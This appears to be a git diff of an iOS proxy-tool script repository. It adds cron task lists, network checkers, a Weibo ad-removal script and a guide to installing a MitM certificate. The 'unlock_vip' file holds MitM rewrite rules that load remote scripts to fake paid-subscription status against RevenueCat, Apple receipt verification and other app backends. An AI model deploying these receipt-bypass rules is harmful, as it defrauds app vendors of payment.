tag=微信小程序-同程艺龙 +cron "22 10 8 * * *" script-path=https://raw.githubusercontent.com/barrym-chen/Script/master/tongc/tongc_info.js, enable=false, tag=微信小程序-同程艺龙info +cron "18 10 8 * * *" script-path=https://raw.githubusercontent.com/barrym-chen/Script/master/fcz/fcz_sign.js, enable=false, tag=飞常准 + +# congcong0806 https://github.com/congcong0806/surge-list/tree/master +cron "0 8 * * *" script-path=https://github.com/congcong0806/surge-list/raw/master/Script/daysmatter.js, enable=false, tag=倒数日 +cron "0 7-23 * * *" script-path=https://github.com/congcong0806/surge-list/raw/master/Script/time.js, enable=false, tag=今日时间 + +# MeetaGit https://github.com/MeetaGit/MeetaRules/tree/master/Surge +cron "10 0/5 13-23 * * *" script-path=https://raw.githubusercontent.com/MeetaGit/MeetaRules/m%CE%B1ster/Surge/Custom_Js/lottery_xyft.js, enable=false, tag=幸运飞艇 + +# yichahucha https://github.com/yichahucha/surge/tree/master +# cron "11 7 * * *" script-path=https://raw.githubusercontent.com/nzw9314/QuantumultX/master/yichahucha/cron_daily.js, enable=false, tag=每日一句+蚂蚁森林收能量 + +# iNotification +# cron "40 9 8 * * *" script-path=https://raw.githubusercontent.com/nzw9314/QuantumultX/master/Task/loulancheck.js, enable=false, tag=楼兰小说 +# cron "50 9 8 * * *" script-path=https://raw.githubusercontent.com/nzw9314/QuantumultX/master/Task/cmbchina.js, enable=false, tag=招行信用卡 + +# qiaoborui https://github.com/qiaoborui +# cron "10 11 8 * * *" script-path=https://raw.githubusercontent.com/nzw9314/QuantumultX/master/Task/360.js, enable=false, tag=360扫地机 + +# Dachaw +# cron "0 0 8 * * *" script-path=https://raw.githubusercontent.com/nzw9314/QuantumultX/master/Task/nCoVrumors.js, enable=false, tag=疫情辟谣 + +# makexp +# cron "40 11 8 * * *" script-path=https://raw.githubusercontent.com/nzw9314/QuantumultX/master/Task/xmly_wc.js, enable=false, tag=微信小程序-喜马拉雅 + +# chouchoui https://github.com/chouchoui/QuanX/tree/master/Scripts +#cron "30 8,13,19 * * *" script-path=https://raw.githubusercontent.com/chouchoui/QuanX/master/Scripts/angelalign/angelalign.task.js, enable=false, tag=时代天使 +cron "10 0 * * *" script-path=https://raw.githubusercontent.com/chouchoui/QuanX/master/Scripts/nga/nga.js, enable=false, tag=NGA刮墙 + +# id77 https://github.com/id77/QuantumultX/tree/master +;cron "17 0 * * *" script-path=https://raw.githubusercontent.com/id77/QuantumultX/master/task/163GameVip.js, enable=false, tag=网易游戏 +cron "10 0 * * *" script-path=https://raw.githubusercontent.com/id77/QuantumultX/master/task/thg.js, enable=false, tag=太好购 +;cron "12 0 * * *" script-path=https://raw.githubusercontent.com/id77/QuantumultX/master/task/geekhub.js, enable=false, tag=geekhub +cron "0 12 * * *" script-path=https://raw.githubusercontent.com/id77/QuantumultX/master/task/jdWuLiu.js, enable=false, tag=京东物流 + +# XidNDD https://github.com/XidNDD/2020scripts +cron "22 11 0 * * *" script-path=https://raw.githubusercontent.com/XidNDD/2020scripts/master/yzkbSign.js, enable=false, tag=柚子快报 +cron "23 14 0 * * *" script-path=https://raw.githubusercontent.com/XidNDD/2020scripts/master/jddsSign.js, enable=false, tag=京东读书 +cron "24 17 0 * * *" script-path=https://raw.githubusercontent.com/XidNDD/2020scripts/master/zymkSign.js, enable=false, tag=知音漫客 +cron "22 12 0 * * *" script-path=https://raw.githubusercontent.com/XidNDD/2020scripts/master/hdhycSign.js, enable=false, tag=海德汇一城 +cron "22 15 0 * * *" script-path=https://raw.githubusercontent.com/XidNDD/2020scripts/master/mygmcSign.js, enable=false, tag=民盈国贸城 +cron "24 16 0 * * *" script-path=https://raw.githubusercontent.com/XidNDD/2020scripts/master/wsxqSign.js, enable=false, tag=微商星球 +cron "22 16 0 * * *" script-path=https://raw.githubusercontent.com/XidNDD/2020scripts/master/zscdbSign.js, enable=false, tag=追书畅读版 + +# mw418 +;cron "5 8 * * *" script-path=https://raw.githubusercontent.com/mw418/QuantumultX/master/setu.js, enable=false, tag=每日色图 + +# globalTools +;cron "10 0 8 * * *" script-path=https://raw.githubusercontent.com/globalTools/quantumultX/master/tuhu/tuhu.js, enable=false, tag=途虎养车 + +# whyour +;cron "5 9 * * *" script-path=https://raw.githubusercontent.com/whyour/hundun/master/quanx/daymatter.js, enable=false, tag=倒数日 + +# 小米运动 +cron "15 17 * * *" script-path=https://raw.githubusercontent.com/ChuheGit/1/main/Script/jd_scripts/backUp/xmSports.js, enable=false, tag=小米运动 diff --git a/Loon/script/tools.scripts b/Loon/script/tools.scripts new file mode 100644 index 00000000..b4f35751 --- /dev/null +++ b/Loon/script/tools.scripts @@ -0,0 +1,18 @@ +#!name=脚本工具合集 +#!desc=节点检测、地理位置、节点解锁、节点网速等查询。详细见脚本 +#!author=奶思 +#!homepage=https://github.com/fmz200/wool_scripts +#!icon=https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/author/NaiSi_01.png +#!raw-url=https://github.com/fmz200/wool_scripts/raw/main/Loon/script/tools.scripts +#!tg-group=https://t.me/lanjieguanggao +#!date=2024-10-21 19:00:00 +############################################# + +generic script-path=https://raw.githubusercontent.com/MCdasheng/Loon/main/Streaming/ChatGPT.js, timeout=10, tag=GPT解锁查询, img-url=https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/chxm1023/ChatGPT3.png +generic script-path=https://raw.githubusercontent.com/MCdasheng/Loon/main/Streaming/Spotify.js, timeout=10, tag=Spotify解锁查询, img-url=https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/Spotify.png +generic script-path=https://raw.githubusercontent.com/Loon0x00/LoonScript/main/MediaCheck/check.js, timeout=300, tag=流媒体-解锁查询, img-url=tv.and.mediabox +generic script-path=https://raw.githubusercontent.com/getsomecat/Loon/main/Net_Speedlite.js, tag=网络延迟测试, timeout=10,img-url=bolt.system +generic script-path=https://github.com/Keywos/rule/raw/main/loon/ipapi2.js, timeout=10, tag=测试位置查询, img-url=location.circle +generic script-path=https://raw.githubusercontent.com/Loon0x00/LoonExampleConfig/master/Script/generic_example.js, timeout=10, tag=GeoLocation, img-url=https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/ipInfo.png +generic script-path = https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/tools/LocationDetection.js, timeout = 10, tag = 地理位置查询, img-url = location.circle.system +generic script-path = https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/tools/NodeUnlockDetection.js, timeout = 20, tag = 节点解锁查询, img-url = play.circle.system diff --git a/Loon/script/unlock_vip.scripts b/Loon/script/unlock_vip.scripts new file mode 100644 index 00000000..c9df1b86 --- /dev/null +++ b/Loon/script/unlock_vip.scripts @@ -0,0 +1,95 @@ +#!name=fmz200解锁会员合集 +#!desc=用于解锁会员 +#!author=奶思 +#!homepage=https://github.com/fmz200/wool_scripts +#!icon=https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/author/NaiSi_01.png +#!raw-url=https://github.com/fmz200/wool_scripts/raw/main/Loon/script/unlock_vip.scripts +#!tg-group=https://t.me/lanjieguanggao +#!date=2024-05-25 23:35:00 + + +hostname = api.textnow.me, *.videostarapp.com, avatar-nct.nixcdn.com, spclient.wg.spotify.com, *.googlevideo.com, oa.zalo.me, vsco.co, api.gyrosco.pe, origin-prod-phoenix.jibjab.com, api.termius.com, api.picsart.c*, api.meiease.c*, api.unfold.app, viva-asia1.vvbrd.com, graph.nhaccuatui.com, api.memrise.com, api.sync.me, pool.elsanow.io, lambda.us-east-1.amazonaws.com, api.mondlylanguages.com, api.busuu.com, owa.videoshowiosglobalserver.com:0, accounts.elevateapp.net, purchases.ws.pho.to, api-intl.mr.meitu.com, bmall.camera360.com, api.tv.zing.vn, api.calm.com, www.calm.com, api.global.mp3.zing.vn, apimboom2.globaldelight.net, photos.adobe.io, license.pdfexpert.com, subs.platforms.team, apic.musixmatch.com, api.getmimo.com, api.revenuecat.com, pixmagicapp.com, engbright.com, api.lingokids.com, www.peacefulsoundsapp.com, duolingo-leaderboards-prod.duolingo.com, commerce-i18n-api.faceu.mobi, mobi, mobile-api.adguard.com, api.blinkist.com, api.sololearn.com, receipts.cerebralgardens.com, api-kinemaster-assetstore.*, api.pushover.net, api-cs.intsig.net, api.overhq.com, api.appsyscode.com, api.freeletics.com, api.shred.app, receipt-validator.herewetest.com, api.deezer.com, iap.aps-sdk.com, education.github.com, api.revenuecat.com, backend.getdrafts.com, ssl-api.itranslateapp.com, sk.ulysses.app, dayone.me, license.enpass.io, mp.bybutter.com, *.grammarly.com, splice.oracle.*.com, api.keepkeep.com, planner5d.com, secure.istreamer.com, www.api.monkeyuni.net, account.wps.com, menscoach-api.asqq.io,biz.caiyunapp.com, api.revenuecat.com + +# Gear +http-response ^https\:\/\/api.revenuecat.com\/v1\/subscribers(.+) script-path=https://raw.githubusercontent.com/ThorJsbox/QuanX/master/Rewrite_local/Gearpro.js, requires-body=true, timeout=10, tag=Gear + +# 彩云天气 +http-response https?:\/\/biz\.caiyunapp\.com\/(membership_rights|v2\/user),script-path=https://raw.githubusercontent.com/Tartarus2014/Script/master/CaiYun.js,requires-body=1, tag=彩云天气SVIP + +# vsco +#http-response ^https:\/\/api\.revenuecat\.com\/v\d\/subscribers\/\d+$ script-path=https://raw.githubusercontent.com/Tartarus2014/Script/master/vsco.js, requires-bpdy=true, tag=VSCO + +# Nhaccuatui +#http-response ^https:\/\/graph\.nhaccuatui\.com\/.*\/users\/info* script-path=https://raw.githubusercontent.com/langkhach270389/Quantumult-X-LK/master/Scripts/langkhach/nhaccuatui.js + +# buyhack +#http-response ^https:\/\/buy\.itunes\.apple\.com\/verifyReceipt$ script-path=https://raw.githubusercontent.com/langkhach270389/Quantumult-X-LK/master/Scripts/langkhach/verify_receipt.js + +# sync +#http-response ^https:\/\/api\.sync\.me\/api\/purchases\/(report_purchases|get_purchases) script-path=https://raw.githubusercontent.com/langkhach270389/Quantumult-X-LK/master/Scripts/langkhach/syn.me.js + +# elsaresponse +#http-response ^https:\/\/pool\.elsanow\.io\/user\/api\/v1\/purchase$ script-path=https://raw.githubusercontent.com/langkhach270389/Quantumult-X-LK/master/Scripts/langkhach/elsa-response.js + +# drops +#http-response ^https:\/\/lambda\.us-east-1\.amazonaws\.com/.*/functions\/prod-4-syncPurchases\/invocations$ script-path=https://raw.githubusercontent.com/langkhach270389/Quantumult-X-LK/master/Scripts/langkhach/drops.js + +# mojo¬o +#http-response ^https:\/\/api\.revenuecat\.com\/.+\/(receipts$|subscribers\/[a-zA-Z0-9_-]*$) script-path=https://raw.githubusercontent.com/langkhach270389/Quantumult-X-LK/master/Scripts/langkhach/revenuecat.js + +# musicalm +#http-response ^https:\/\/www\.peacefulsoundsapp\.com\/api\/v1\/init$ script-path=https://raw.githubusercontent.com/langkhach270389/Quantumult-X-LK/master/Scripts/langkhach/musicalm.js + +# duolingo_test +#http-response ^https:\/\/duolingo-leaderboards-prod\.duolingo\.com\/leaderboards* script-path=https://raw.githubusercontent.com/langkhach270389/Quantumult-X-LK/master/Scripts/langkhach/duolingo.js + +# ulike +#http-response ^https:\/\/commerce-i18n-api\.faceu\.mobi\/commerce\/v1\/subscription\/user_info$ script-path=https://raw.githubusercontent.com/langkhach270389/Quantumult-X-LK/master/Scripts/langkhach/ulike.js + +# zingmp3 +#http-response ^https:\/\/api\.global\.mp3\.zing\.vn\/1\.0\/getUserInfo\?data=* script-path=https://raw.githubusercontent.com/langkhach270389/Quantumult-X-LK/master/Scripts/langkhach/zingmp3.js + +# Blinkist +#http-response ^https:\/\/api\.blinkist\.com\/v4\/(me$|me.json$|me\/access$) script-path=https://raw.githubusercontent.com/langkhach270389/Quantumult-X-LK/master/Scripts/langkhach/blinkist.js + +# sololearn +#http-response ^https:\/\/api\.sololearn\.com\/(authenticateDevice|challenge\/GetContestFeed|Profile\/GetProfile)$ script-path=https://raw.githubusercontent.com/langkhach270389/Quantumult-X-LK/master/Scripts/langkhach/sololearn.js + +# kinemaster +#http-response ^https:\/\/api-kinemaster-assetstore\.(nexstreaming|kinemasters)\.com\/.*\/product\/verifyReceipt$ script-path=https://raw.githubusercontent.com/langkhach270389/Quantumult-X-LK/master/Scripts/langkhach/kinemaster.js + +# speak&translate +#http-response ^https:\/\/receipt-validator\.herewetest\.com\/apple\/verifyTransaction$ script-path=https://raw.githubusercontent.com/langkhach270389/Quantumult-X-LK/master/Scripts/langkhach/speak&translate.js + +# document +#http-response ^https:\/\/license\.pdfexpert\.com\/api\/.*\/documents\/subscription\/(refresh$|check$) script-path=https://raw.githubusercontent.com/langkhach270389/Quantumult-X-LK/master/Scripts/langkhach/documents.js + +# draft +#http-response ^https:\/\/backend\.getdrafts\.com\/api\/.*\/verification* script-path=https://raw.githubusercontent.com/langkhach270389/Quantumult-X-LK/master/Scripts/langkhach/draft.js + +# phothop&PSexpress +#http-response ^https:\/\/lcs-mobile-cops\.adobe\.io\/mobile_profile script-path=https://raw.githubusercontent.com/langkhach270389/Quantumult-X-LK/master/Scripts/langkhach/photoshop.js + +# itranslate&lingo&voice&converse +#http-response ^https:\/\/ssl-api\.itranslateapp\.com\/.*\/subscriptions\/.*\/ios$ script-path=https://raw.githubusercontent.com/langkhach270389/Quantumult-X-LK/master/Scripts/langkhach/itranslate.js + +# dayone +#http-response ^https:\/\/dayone\.me\/api\/(users|v2\/users\/account-status)$ script-path=https://raw.githubusercontent.com/langkhach270389/Quantumult-X-LK/master/Scripts/langkhach/dayone.js + +# endel +#http-response ^https:\/\/api-production\.endel\.io\/.*\/user$ script-path=https://raw.githubusercontent.com/langkhach270389/Quantumult-X-LK/master/Scripts/langkhach/endel.js + +# nichi +#http-response ^https?:\/\/mp\.bybutter\.com\/mood\/(official-templates|privileges) script-path=https://raw.githubusercontent.com/langkhach270389/Quantumult-X-LK/master/Scripts/langkhach/nichi.js + +# grammarly +#http-response ^https:\/\/subscription\.grammarly\.com\/api\/v1$ script-path=https://raw.githubusercontent.com/langkhach270389/Quantumult-X-LK/master/Scripts/langkhach/grammarly.js + +# splice +#http-response ^https:\/\/splice\.oracle\.\w+\.com\/devices\/me script-path=https://raw.githubusercontent.com/langkhach270389/Quantumult-X-LK/master/Scripts/langkhach/splice.js + +# planner5d +#http-response ^https:\/\/planner5d\.com\/api\/sets script-path=https://raw.githubusercontent.com/langkhach270389/Quantumult-X-LK/master/Scripts/langkhach/planner5d.js + +# all apps monkey +#http-response ^https:\/\/www\.api\.monkeyuni\.net\/api\/.+\/mobile\/account\/load-update script-path=https://raw.githubusercontent.com/langkhach270389/Quantumult-X-LK/master/Scripts/langkhach/monkey.js diff --git a/ProxyPin/scripts/weibo_find_ads.json b/ProxyPin/scripts/weibo_find_ads.json new file mode 100644 index 00000000..00d262b9 --- /dev/null +++ b/ProxyPin/scripts/weibo_find_ads.json @@ -0,0 +1 @@ +{"enabled":true,"name":"微博发现页去广告","url":"^https?://api.weibo.cn/2/search/(finder|container_timeline|container_discover)","script":"/**\n * author:fmz200\n * date:2023-11-19 10:13:00\n */\n\n// 在请求到达服务器之前,调用此函数,您可以在此处修改请求数据\nasync function onRequest(context, request) {\n console.log(\"请求URL=\" + request.url);\n //URL参数\n request.queries[\"reqParams\"] = \"value\";\n //更新或添加新标头\n request.headers[\"X-New-Headers\"] = \"My-Value\";\n delete request.headers[\"Key-Need-Delete\"];\n\n //Update Body 使用fetch API请求接口,具体文档可网上搜索fetch API\n //request.body = await fetch('https://www.baidu.com/').then(response => response.text());\n\n //共享参数 后面onResponse时取出\n context[\"request_url\"] = request.url;\n return request;\n}\n\nconst url1 = '/search/finder';\nconst url2 = '/search/container_timeline'; // 发现页面\nconst url3 = '/search/container_discover';\nconst url4 = '/api.weibo.cn/2/page'; // 微博热搜页面url\nconst url5 = '/statuses/container_timeline_topicpage'; // 微博超话页面\nconst url6 = '/statuses/extend'; // 微博详情页面广告\nconst url7 = '/groups/allgroups/v2' // 微博首页Tab标签页\n\nconst weiboPic = [\n \"https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Weibo-01.png\",\n \"https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Weibo-27.png\",\n \"https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Weibo-30.png\",\n \"https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Weibo-32.png\"\n];\nconst titleSubPicMap = {\n '电影': 'https://simg.s.weibo.com/imgtool/20221207_dianying.png',\n '热议': 'https://simg.s.weibo.com/20220402_hottopic-icon.png',\n '影像年': 'https://simg.s.weibo.com/ads/1%2Fads_1692185628.png',\n '本地': 'https://simg.s.weibo.com/20190123154142_tongcheng.png',\n '亚运电竞': 'https://simg.s.weibo.com/ads/1%2Fads_1694765662.png',\n '直播': 'https://simg.s.weibo.com/20210705_live0705.png',\n '财经': 'https://simg.s.weibo.com/20190124150415_caijing.png',\n '找人': 'https://simg.s.weibo.com/20190125144608_zhaoren.png',\n '时尚': 'https://simg.s.weibo.com/imgtool/20220928_fashion.png',\n '长文': 'https://simg.s.weibo.com/20220621_%E9%95%BF%E6%96%87%E5%8F%91%E7%8E%B0%E9%A1%B5icon%403x.png',\n '赛事': 'https://simg.s.weibo.com/20201030_%E8%B5%9B%E4%BA%8B.png',\n '教育': 'https://simg.s.weibo.com/20200303_edu0303.png',\n '音乐': 'https://simg.s.weibo.com/imgtool/20221207_yinyue.png',\n '房产': 'https://simg.s.weibo.com/20190129182003_house.png',\n '小游戏': 'https://simg.s.weibo.com/20190118185226_youxi.png',\n '美食': 'https://simg.s.weibo.com/imgtool/20221207_food.png',\n '热聊': 'https://simg.s.weibo.com/20220402_reliao.png',\n '新知': 'https://simg.s.weibo.com/20211105_xinzhi.png',\n '微公益': 'https://simg.s.weibo.com/ads/1%2Fads_1689323535.png',\n '大健康': 'https://simg.s.weibo.com/imgtool/20221116_health.png',\n '活动': 'https://simg.s.weibo.com/20200915_huodong.png',\n '母婴': 'https://simg.s.weibo.com/20210222_mombaby.png',\n '珠宝玉石': 'https://simg.s.weibo.com/20210317_yushi.png',\n '游戏中心': 'https://simg.s.weibo.com/ads/1%2Fads_1687759038.png'\n};\nlet index = 1;\n\n// 在将响应数据发送到客户端之前,调用此函数,您可以在此处修改响应数据\nasync function onResponse(context, request, response) {\n // 更新或添加新标头\n // response.headers[\"Name\"] = context[\"name\"];\n\n // Update status Code\n // response.statusCode = 500;\n\n let url = context[\"request_url\"];\n let body = response.body;\n console.log(\"响应URL=\" + url);\n try {\n body = modifyMain(url, body);\n } catch (e) {\n console.log('脚本运行出现错误,部分广告未去除⚠️');\n console.log('错误信息:' + e.message);\n }\n\n response.body = JSON.stringify(body);\n return response;\n}\n\nfunction modifyMain(url, data) {\n let resp_data = JSON.parse(data);\n // 1、首次点击发现按钮\n if (url.includes(url1)) {\n const payload = resp_data.channelInfo?.channels?.[0]?.payload;\n console.log('进入发现页...');\n if (payload.items[1].data.itemid === \"hot_search_push\") {\n index = 2;\n }\n\n // 1.1、下标是1的为热搜模块\n payload.items[index].data.group = removeHotSearchAds(payload.items[index].data.group);\n\n // 1.2、下标为2的是轮播图模块\n console.log('移除轮播模块💕💕');\n payload.items[index + 1] = {};\n\n // 1.3、下标为3的是热议模块\n console.log('移除finder_channel模块💕💕');\n if (payload.items[index + 2].data?.more_pic?.includes('ads')) {\n delete payload.items[index + 2].data.more_pic;\n }\n payload.items[index + 2].data.group = removeFinderChannelAds(payload.items[index + 2].data.group);\n\n // 1.4、items[i].category = \"feed\" 是热门微博的部分\n payload.items = removeCategoryFeedAds(payload.items);\n\n // 1.5、背景图广告\n if (payload.loadedInfo?.headerBack) {\n delete payload.loadedInfo.headerBack;\n }\n\n return JSON.stringify(resp_data);\n }\n\n // 2、发现页面刷新/再次点击发现按钮\n if (url.includes(url2) || url.includes(url3)) {\n console.log('刷新发现页...');\n if (resp_data.items[1].data.itemid === \"hot_search_push\") {\n index = 2;\n }\n\n // 2.1、下标是1的为热搜模块\n resp_data.items[index].data.group = removeHotSearchAds(resp_data.items[index].data.group);\n\n // 2.2、下标为2的是轮播图模块\n console.log('移除轮播图模块🤣🤣');\n resp_data.items[index + 1] = {};\n\n // 2.3、下标为3的是热议模块\n console.log('移除finder_channel模块💕💕');\n if (resp_data.items[index + 2].data?.more_pic?.includes('ads')) {\n delete resp_data.items[index + 2].data.more_pic;\n }\n resp_data.items[index + 2].data.group = removeFinderChannelAds(resp_data.items[index + 2].data.group);\n\n // 2.4、items[i].category = \"feed\" 是热门微博的部分\n resp_data.items = removeCategoryFeedAds(resp_data.items);\n\n // 2.5、背景图广告\n if (resp_data.loadedInfo?.headerBack) {\n delete resp_data.loadedInfo.headerBack;\n }\n return JSON.stringify(resp_data);\n }\n\n // 3、微博热搜页面刷新\n if (url.includes(url4) && resp_data.cards && resp_data.cards[0].card_group) {\n console.log('微博热搜页面广告开始💕');\n resp_data.cards[0].card_group = resp_data.cards[0].card_group.filter(group => group.promotion == null);\n console.log('微博热搜页面广告结束💕💕');\n return JSON.stringify(resp_data);\n }\n\n // 4、微博超话页面\n if (url.includes(url5) && resp_data.items) {\n console.log('微博超话页面广告开始💕');\n resp_data.items = resp_data.items.filter(item => !item.data || item.data.mblogtypename !== \"广告\");\n console.log('微博超话页面广告结束💕💕');\n return JSON.stringify(resp_data);\n }\n\n // 5、微博超话页面\n if (url.includes(url6)) {\n console.log('微博详情页面广告开始💕');\n resp_data.head_cards = [];\n console.log('微博详情页面广告结束💕💕');\n return JSON.stringify(resp_data);\n }\n\n // 6、移除微博首页的多余tab页\n if (url.includes(url7)) {\n resp_data.pageDatas = removePageDataAds(resp_data.pageDatas);\n swapObjectsInArray(resp_data.pageDatas[0].categories[0].pageDatas, 0, 1);\n return JSON.stringify(resp_data);\n }\n\n console.log('没有广告数据🧧🧧');\n return data;\n}\n\n// 移除“微博热搜”的广告\nfunction removeHotSearchAds(groups) {\n if (!groups) return;\n console.log('移除发现页热搜广告开始💕');\n const newGroups = groups.filter(group => !(group.itemid?.includes(\"is_ad_pos\") || group.promotion));\n console.log('移除发现页热搜广告结束💕💕');\n return newGroups;\n}\n\n// 移除“微博热搜”下面的“热聊,本地等”的广告\nfunction removeFinderChannelAds(groups) {\n if (!groups) return;\n console.log('移除发现页finder_channel广告开始💕');\n const newGroups = [];\n for (const group of groups) {\n if (group.pic?.includes('ads')) {\n group.pic = titleSubPicMap[group.title_sub] || \"https://simg.s.weibo.com/20200915_huodong.png\";\n }\n newGroups.push(group);\n }\n console.log('移除发现页finder_channel广告结束💕💕');\n return newGroups;\n}\n\n// 移除“热搜微博”信息流的广告\nfunction removeCategoryFeedAds(items) {\n console.log('移除发现页热门微博广告开始💕');\n const newItems = items.filter(item => item.category !== \"feed\" || (item.data && item.data.mblogtypename !== \"广告\"));\n console.log('移除发现页热门微博广告结束💕💕');\n return newItems;\n}\n\n// 移除微博首页的多余tab页\nfunction removePageDataAds(items) {\n console.log('移除微博首页的多余tab页开始💕');\n const newItems = items.filter(item => item.pageDataType !== \"homeExtend\");\n console.log('移除微博首页的多余tab页结束💕💕');\n return newItems;\n}\n\n// 交换集合中两个对象的位置\nfunction swapObjectsInArray(array, index1, index2) {\n console.log('交换tab页顺序开始💕');\n const temp = array[index1];\n array[index1] = array[index2];\n array[index2] = temp;\n\n array[index2].type = array[index1].type;\n array[index2].apipath = \"statuses/container_timeline_unread\";\n delete array[index2].navigation_title;\n console.log('交换tab页顺序结束💕💕');\n}"} diff --git a/QuantumultX/How-To-Use.md b/QuantumultX/How-To-Use.md new file mode 100644 index 00000000..617a0332 --- /dev/null +++ b/QuantumultX/How-To-Use.md @@ -0,0 +1,95 @@ +## QuanX 小白配置图文教程: + +>**注意:请先认真阅读本节文字** +> +> 1️⃣ 本教程所使用内容均收集于热心网友分享,原作者请联系我署名,感谢! +> +> 2️⃣ 首次配置可能需要梯子或者节点,请根据图片步骤一步一步来,如果因为节点的网络问题导致不成功,多试几次!多试几次!多试几次! 遇到问题请先自己试着解决。 +> +> 3️⃣ 去广告由于网络原因,配置原因并非100%有效,可以尝试清除缓存或者卸载重装。还有部分软件本身毒瘤,可能去不掉。多数软件能去即可,不要钻牛角尖! +> +> 4️⃣ 有时候功能不完善可能是因为软件版本问题或者开发者没有维护导致。 + +>**粘贴链接的时候如果报错,请检查一下:** +>>1、链接不能有多余的空格 +>> +>>2、报错90%的原因是网络原因,需要自行更换延迟较低的节点,再重新试试。还不行的话,关掉软件,重新试 +>> +>>3、认真仔细看图片点的是哪里‼️ + +## 配置开始 +### 1、前往配置文件仓库复制全局配置文件raw路径备用,俗称`小白配置/懒人配置`,此处以[@本仓库](https://github.com/fmz200/wool_scripts/tree/main/QuantumultX)为例。 +> **关于配置文件和脚本都在本地/自己手机里的情况,大同小异,我们有时间再说** + +#### 1.1 进入本项目的配置文件目录,点击配置文件,如下图,[点击这里直达](https://github.com/fmz200/wool_scripts/tree/main/QuantumultX/config) +![img.png](../pic/quanX/how-to-use-00.png) + +#### 1.2 点击raw获取配置文件路径,如下图 +![img.png](../pic/quanX/how-to-use-00-01.png) + +#### 1.3 复制raw地址,如下图,你也可以直接复制 [这个链接](https://raw.githubusercontent.com/fmz200/wool_scripts/main/QuantumultX/config/QuanX.conf) +![img.png](../pic/quanX/how-to-use-00-02.png) + +### 2、Quan X主界面,点击`右下角风车`,然后弹出界面下拉至 `配置文件` 区域,点击 `下载配置`,将上一步复制的地址粘贴到弹出窗口,然后点右上角✅确定 +> 注意 ⚠️ :因为该文件是全局配置文件,所以点击确定后会覆盖原有的所有配置!如果不是初次配置请谨慎下载! + +![img.png](../pic/quanX/how-to-use-01.png)![img.png](../pic/quanX/how-to-use-02.png) +![img.png](../pic/quanX/how-to-use-03.png)![img.png](../pic/quanX/how-to-use-04.png) + +### 3、上一步点击保存后再次点击右下角小风车,往下滑找到`MitM`,点击`生成证书`,继续点击`配置证书`,根据提示`安装证书` +> 你已经看到下面的图片中已经打开了分流,重写和MitM,这是因为已经配置好了,做演示用没有关闭,实际上初次配置是没有打开的,需要配置好证书以后再打开 + +![img.png](../pic/quanX/how-to-use-05.png)![img.png](../pic/quanX/how-to-use-06.png) + +### 4、安装成功后启用证书,并到系统的 **设置 -> 通用 -> 关于本机**,点击`信任证书`,如下图操作即可 + +![img.png](../pic/quanX/how-to-use-07.png)![img.png](../pic/quanX/how-to-use-08.png)![img.png](../pic/quanX/how-to-use-09.png) + +![img.png](../pic/quanX/how-to-use-10.png)![img.png](../pic/quanX/how-to-use-11.png)![img.png](../pic/quanX/how-to-use-12.png) + +![img.png](../pic/quanX/img.png)![img_1.png](../pic/quanX/img_1.png) + +> 到这里证书已经信任以后,**分流,重写,MitM** 就可以打开了 + +### 5、添加节点 / 订阅,具体为在Quan X主界面点击右下角风车 - 节点 - `节点资源`,然后点右上角添加,填写标签和资源路径(重要,不添加节点重写和分流可能无法更新) + +> **这里只说自己买了订阅的情况,关于单个节点添加,大同小异,我们有时间再说** + +![img_8.png](../pic/quanX/img_8.png)![img_9.png](../pic/quanX/img_9.png)![img_10.png](../pic/quanX/img_10.png) + +![img_11.png](../pic/quanX/img_11.png) + +### 6、以上几步弄好以后就配置完毕了,下面更新重写和分流,长按小风车出现以下页面,点击更新按钮🔄,会自动更新全部资源(也就是上面配置文件里面引用的资源),主页面左上角会显示数字表示更新进度。 +> 1️⃣ 如果跑完以后没有任何提示就是全部成功,如果有红色的数字提醒就是有失败的,你可以点击红色的数字跳转到具体的失败文件。 +> +> 2️⃣ 如果提示`404`,那就是文件不存在,等待作者更新即可。如果出现`请求超时`,那一般就是网络原因,可以更换节点再试一次。 +> +> 3️⃣ 如果还不知道怎么解决,可以进群交流,[点击这里](https://t.me/lanjieguanggao)加入苹果IOS去广告交流。 + +![img.png](../pic/quanX/how-to-use-21.png) + +> ✅ 到这里就可以直接使用了,下面的步骤【7、8】都是可选的,如果你没有其他要添加的重写和分流,可以无视。 + +### 7、添加重写【可选】 + +![img_2.png](../pic/quanX/img_2.png)![img_3.png](../pic/quanX/img_3.png)![img_4.png](../pic/quanX/img_4.png) + +![img_5.png](../pic/quanX/img_5.png)![img_6.png](../pic/quanX/img_6.png)![img_7.png](../pic/quanX/img_7.png) + +### 8、添加分流【可选】 + +>**添加分流和重写流程是一样的** +> +![img_1.png](../pic/quanX/how-to-use-16.png) + +![img_2.png](../pic/quanX/how-to-use-17.png) + +![img_3.png](../pic/quanX/how-to-use-18.png) + +### 9、打开 / 关闭梯子;切换分流模式 + +![img_4.png](../pic/quanX/how-to-use-19.png) + +## 配置成功如下图所示,可以正常使用了 + +![img_12.png](../pic/quanX/img_12.png) \ No newline at end of file diff --git a/QuantumultX/config/00-How-To-Use-Config.md b/QuantumultX/config/00-How-To-Use-Config.md new file mode 100644 index 00000000..2fd93963 --- /dev/null +++ b/QuantumultX/config/00-How-To-Use-Config.md @@ -0,0 +1,23 @@ +## QuantumultX 小白配置 + +### 全局配置文件使用方法: + +> 详细的图文配置请[点击这里](../../QuantumultX/How-To-Use.md) + + 0.本文「拷贝自Orz-3.conf」 + + 1.点击库中的 **QuanX.conf** 文件,点击raw获取真实地址,复制地址备用 + + 2.Quan X主界面,点击右下角风车,然后弹出界面下拉至 配置文件-下载,点击下载,将上一步复制的地址粘贴到弹出窗口,然后点确定 + + 3.Quan X主界面,点击右下角风车,然后弹出界面下拉至 MITM ,点击生成证书 + + 4.然后回到Quan X,继续点击配置证书,根据提示安装证书 + + 5.安装成功后启用证书,并到系统的 设置-通用-关于本机 点击信任证书 + + 6.打开重写和MITM + + 7.添加节点/订阅,具体为在Quan X主界面点击右下角风车-节点-引用(订阅),然后点右上角添加,填写标签和资源路径(重要,不添加标签是无法筛选的) + + 